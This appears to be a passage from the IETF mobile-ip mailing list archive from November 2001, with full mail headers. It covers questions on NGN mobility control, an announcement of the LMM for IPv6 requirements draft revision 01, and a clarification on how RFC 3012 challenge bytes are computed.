		Cc:	Jonathan Rosenberg; Mccann, Peter J (Pete); Hiller,
Tom (Tom); 'Gonzalo Camarillo'; 'huilanlu@lucent.com'
		Subject:	[mobile-ip] Mobility control for NGN
environment 

		Greetings All,

		I am asking your assistance in order to clarify or indicate
where I can
		start my researches about mobility control for NGN
environment. I am
		considering that will be an interface between SIP Proxy and
Home Agent for
		Mobile IP context, but I could not find any proper
information.  Also, for
		location based services immerged in NGN and 3GPP2
architecture, who will
		have the mobile location information? HA/FA? And how to
retrieve this
		location information? Using SIP - Notify Message? Now there
are some
		operations over IS.41, but I understand that will be used
for legacy
		context.

		Thanks for any return,
		Alberto.


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  9 21:37:24 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA03568
	for <mobileip-archive@odin.ietf.org>; Fri, 9 Nov 2001 21:37:24 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA08324;
	Fri, 9 Nov 2001 18:36:06 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA26025;
	Fri, 9 Nov 2001 18:35:23 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAA2X7QO002249
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 9 Nov 2001 18:33:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fAA2X7al002248
	for mobile-ip-dist; Fri, 9 Nov 2001 18:33:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAA2X3QO002241
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 18:33:03 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA23755
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 18:33:04 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA10098
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 9 Nov 2001 19:32:46 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAA2X2515600;
	Fri, 9 Nov 2001 18:33:02 -0800 (PST)
Message-ID: <01c901c16990$061f5b90$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Carl Williams" <carlw@docomolabs-usa.com>
Subject: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Fri, 9 Nov 2001 18:33:03 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01C6_01C1694C.F7CE2DC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_01C6_01C1694C.F7CE2DC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Dear MIP working group members,

  I have submitted version 01 of the LMM requirements draft.  The
  URL for this draft is at: http://www.docomolabs-usa.com
  under publications link (2001 papers).  It was officially submitted at =

  mid week so the announcement from IETF will be made soon to mip alias.
 =20
  Please review over this draft over the next 10 days and provide
  final comments.  I will post version 02 before Nov 21st deadline
  which will include any comments (general consensus to =
changes/additions).

  At this point I think we are done adding new requirements.  Unless =
there
  is some requirement that we are really missing, let's focus on the
  requirements already present. =20

  Changes since last update:

  - The MIP working group chairs asked that Erik Nordmark, Theo Pagtzis,
    James Kempf, Hesham Soliman, Jari Malinen, and I to get together and
    deal with the wording for a requirement that is agreeable to all in =
terms
    of the issue of multilevel hierarchies. No text was added specifying =
multilevel
    hiearcharchy as a requirement; however,  in order to meet some of
    the requirements presented, an LMM scheme may have a hierarchical =
structure.

 - Clarity (more details on exisiting requirements since version 00 of =
draft):

   Some working group members requested more clarity of some of the =
requirements.
   Thus the following changes were made:

    1.  Scalability requirement regarding guarantees to support millions =
of nodes for
         an administration domain. =20
  =20
         Text was added to state that the LMM framework MUST scale =
linearly with the increase
          in the number of MNs.  An elaboration of this requirement is =
provided in the draft.

    2.  Auto-configuration requirement

         A number of working group members (email and IETF-London) =
wanted me to clarify
         what this requirement means.  An elaboration of this =
requirement is provided in the draft.

    3.  Sparse routing element population requirement

         Hongyi Li and Hesham Soliman requested on the mip wg alias to =
explain what is=20
         the Sparse Routing Element and what is the reason behind this =
requirement.
         Text was provided in the draft defining Sparse Routing Element =
and the reason
         (elaboration done) for it.

    4.  FMIPv6 and LMM interworking.
  =20
       SHOULD changed to MUST at request of many working group members.  =
Presented
        proposed text at IETF-London.  A bit more elaboration done on =
the requirement in 01.

    5. Scope of LMM effect now changed to "Induced LMM Functional =
Requirements"

       Change to allow MN to have changes/modifications for LMM solution =
made.=20
       Elaboration done on this requirement.

    6.  Introduction and abstract

        Introduction now provides "movtivation" and "principles" of LMM. =
=20

   - New requirements

     1. Strong Authentication Requirement
=20
        Add this requirement based on design team member request.  This =
requirement
        is being put in draft but there was some concerns about it by =
one design team
        member.  I think that we simply need to come up with text here =
that meets
        the intent of having the requirement without specifying "Strong =
Auth" in it.

    2.  Single Point of Failures
=20
        New requirement added. Although this was in the original draft =
as a "goal".
      =20
   3.  Resilience to topological changes

       Requested on the MIP working group alias. No one seem to have =
problem and
       this requirement made sense.

   4.  Movement detection
 =20
        Jari Malinen requested this new requirement that mandates LMM =
provide
        a global unique identity of a visited domain.  Please see draft =
for elaboration.

   5. LMM MUST not disrupt core IP routing anywhere in network =
requirement

       Working group member requested it.

   6. Location Privacy and tracking support
 =20
       Requested by James Kempf to be added to draft.

   7.  Reliability, Stability and Quality requirement

       Requested by working group members.

=20
Thanks all to those who contributed.  If I missed anyone in =
acknowledgement section,
please send me email.

Phil and Raj,  I would like to make plans for last call on this draft =
after
we put out version 02 on Nov 21st.   =20

Working group members, please send comments/debate over next weeks.
Hopefully, we can wrap this up at IETF-Salt_Lake_City meeting and 02
will be final revision.

Thanks all!

Carl


   =20



------=_NextPart_000_01C6_01C1694C.F7CE2DC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Dear MIP working group =
members,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; I have submitted version 01 of =
the LMM=20
requirements draft.&nbsp; The</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; URL for this draft is at: <A=20
href=3D"http://www.docomolabs-usa.com">http://www.docomolabs-usa.com</A><=
/FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;under publications link =
(2001=20
papers).&nbsp; It was officially submitted at </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; mid week</FONT><FONT =
face=3DArial size=3D2> so=20
the announcement from IETF will be made soon to mip alias.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; Please review over this draft =
over the next=20
10 days and provide</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; final comments.&nbsp; I will =
post version 02=20
before Nov 21st deadline</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; which will include any comments =
(general=20
consensus to changes/additions).</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; At this point I think we are =
done adding new=20
requirements.&nbsp; Unless there</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; is some requirement that we are =
really=20
missing, let's focus on the</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; requirements already =
present.&nbsp;=20
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; Changes since last =
update:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; - The MIP working group chairs =
asked that=20
Erik Nordmark, Theo Pagtzis,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; James Kempf, Hesham =
Soliman,=20
Jari Malinen, and I to get together and</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; deal with the =
wording for a=20
requirement that is agreeable to all in terms</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; of the issue of =
multilevel=20
hierarchies.&nbsp;No text was added specifying multilevel</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; hiearcharchy as a =
requirement;=20
however,&nbsp; in order to meet some of</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; the requirements =
presented, an=20
LMM scheme may have a hierarchical structure.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;- Clarity (more details on =
exisiting=20
requirements since version 00 of draft):</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;Some working group =
members=20
requested more clarity of some of the requirements.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Thus the following changes =
were=20
made:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 1.&nbsp; Scalability =
requirement=20
regarding guarantees to support millions of nodes for</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; an=20
administration domain.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Text was added to state that the LMM framework MUST scale linearly with =
the=20
increase</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; in the =
number of=20
MNs.&nbsp; An elaboration of this requirement is provided in the=20
draft.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 2.&nbsp; =
Auto-configuration=20
requirement</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A=20
number of working group members (email and IETF-London) wanted me to=20
clarify</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
what this requirement means.&nbsp; An elaboration of this requirement is =

provided in the draft.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 3.&nbsp; Sparse =
routing element=20
population requirement</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Hongyi Li and Hesham Soliman requested on the</FONT><FONT face=3DArial =
size=3D2> mip=20
wg alias to explain what is </FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
the Sparse Routing Element and what is the reason behind this=20
requirement.</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Text was provided in the draft defining Sparse Routing Element and the=20
reason</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
(elaboration done) for it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;4.&nbsp; FMIPv6 =
and LMM=20
interworking.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SHOULD changed=20
to MUST at request of many working group members.&nbsp; =
Presented</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proposed text =
at=20
IETF-London.&nbsp; A bit more elaboration done on the requirement in=20
01.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 5. Scope of LMM =
effect now=20
changed to "Induced LMM Functional Requirements"</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Change to=20
allow MN to have changes/modifications for LMM solution made. =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Elaboration=20
done on this requirement.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 6.&nbsp; =
Introduction and=20
abstract</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Introduction now provides "movtivation" and "principles" of LMM.&nbsp;=20
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; - New =
requirements</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; 1. Strong =
Authentication=20
Requirement</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Add this=20
requirement based on design team member request.&nbsp; This=20
requirement</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; is being=20
put in draft but there was some concerns about it by one design=20
team</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
member.&nbsp; I think that we simply need to come up with text here that =

meets</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the=20
intent of having the requirement without specifying "Strong Auth" in=20
it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; 2.&nbsp; Single =
Point of=20
Failures</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; New=20
requirement added.&nbsp;Although this was in the original draft as a=20
"goal".</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;3.&nbsp; Resilience =
to=20
topological changes</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Requested on=20
the MIP working group alias. No one seem to have problem =
and</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
this=20
requirement made sense.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; 4.&nbsp; Movement=20
detection</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jari=20
Malinen requested this new requirement that mandates LMM =
provide</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a global=20
unique identity of a visited domain.&nbsp; Please see draft for=20
elaboration.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; 5. LMM MUST not disrupt =
core IP=20
routing anywhere in network requirement</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Working group=20
member requested it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; 6. Location Privacy and =
tracking=20
support</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Requested by=20
James Kempf to be added to draft.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;7.&nbsp; Reliability, =
Stability=20
and Quality requirement</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Requested by=20
working group members.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks all to those who =
contributed.&nbsp; If I=20
missed anyone in acknowledgement section,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>please send me email.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Phil and Raj,&nbsp; I would like to =
make plans for=20
last call on this draft after</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>we put out version 02 on Nov=20
21st.&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Working group members, please send =
comments/debate=20
over next weeks.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Hopefully, we can wrap this up at=20
IETF-Salt_Lake_City meeting and 02</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>will be final revision.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks all!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Carl</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_01C6_01C1694C.F7CE2DC0--



From owner-mobile-ip@sunroof.eng.sun.com  Sat Nov 10 16:06:22 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA01523
	for <mobileip-archive@lists.ietf.org>; Sat, 10 Nov 2001 16:06:21 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA20833;
	Sat, 10 Nov 2001 14:04:27 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA06046;
	Sat, 10 Nov 2001 13:04:07 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAAL2TQO003298
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sat, 10 Nov 2001 13:02:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fAAL2T1I003297
	for mobile-ip-dist; Sat, 10 Nov 2001 13:02:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAAL2PQO003290
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 10 Nov 2001 13:02:25 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAB27256
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 10 Nov 2001 13:02:24 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA02360
	for <mobile-ip@sunroof.eng.sun.com>; Sat, 10 Nov 2001 13:02:24 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA01038;
	Sat, 10 Nov 2001 13:01:42 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAAL1gj29837;
	Sat, 10 Nov 2001 13:01:42 -0800
X-mProtect:  Sat, 10 Nov 2001 13:01:42 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdfQiAzB; Sat, 10 Nov 2001 13:01:40 PST
Message-ID: <3BED95B4.C18DFFE@iprg.nokia.com>
Date: Sat, 10 Nov 2001 13:01:40 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Nish Abrol <nabrol@qualcomm.com>
CC: mobile-ip@sunroof.eng.sun.com, pcalhoun@diameter.org
Subject: Re: [mobile-ip] rfc3012 interpretation question
References: <4.3.1.2.20011015013521.01f7bb30@clea.qualcomm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit


> The question is - if the challenge has less than 237 bytes - should the high
> order byte which was already used in the MD5 calculation  be included again as
> part of the  "least-order 237 bytes from Challenge"?

After all the discussion, I think it is clear that the answer should
be yes.  I have included the following sentence in the revised draft:

   If the challenge has fewer than 238 bytes, this algorithm includes
   the high-order byte in the computation twice.

Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 17:32:27 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00135
	for <mobileip-archive@lists.ietf.org>; Sun, 11 Nov 2001 17:32:27 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA26837;
	Sun, 11 Nov 2001 14:31:08 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA05776;
	Sun, 11 Nov 2001 14:27:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABLuCQO004759
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 13:56:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fABLuCe9004758
	for mobile-ip-dist; Sun, 11 Nov 2001 13:56:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABLu0QO004751
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 13:56:01 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18351
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 13:55:57 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA00938
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 14:55:39 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA09525;
	Sun, 11 Nov 2001 13:55:26 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fABLtP016701;
	Sun, 11 Nov 2001 13:55:25 -0800
X-mProtect:  Sun, 11 Nov 2001 13:55:25 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdIWaNLt; Sun, 11 Nov 2001 13:55:24 PST
Message-ID: <3BEEF3CC.790C5A75@iprg.nokia.com>
Date: Sun, 11 Nov 2001 13:55:24 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: ext Ahmad Muhanna <amuhanna@nortelnetworks.com>
CC: "'Patil Basavaraj (NET/Dallas)'" <Basavaraj.Patil@nokia.com>,
        Pete Wenzel <wenzel@nortelnetworks.com>,
        Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>,
        Pat Calhoun <pcalhoun@diameter.org>
Subject: Re: [mobile-ip] URGENT - rfc3012 interpretation question
References: <6B49EDFE974BD51197D70002A56079D82AF549@zrc2c013.us.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
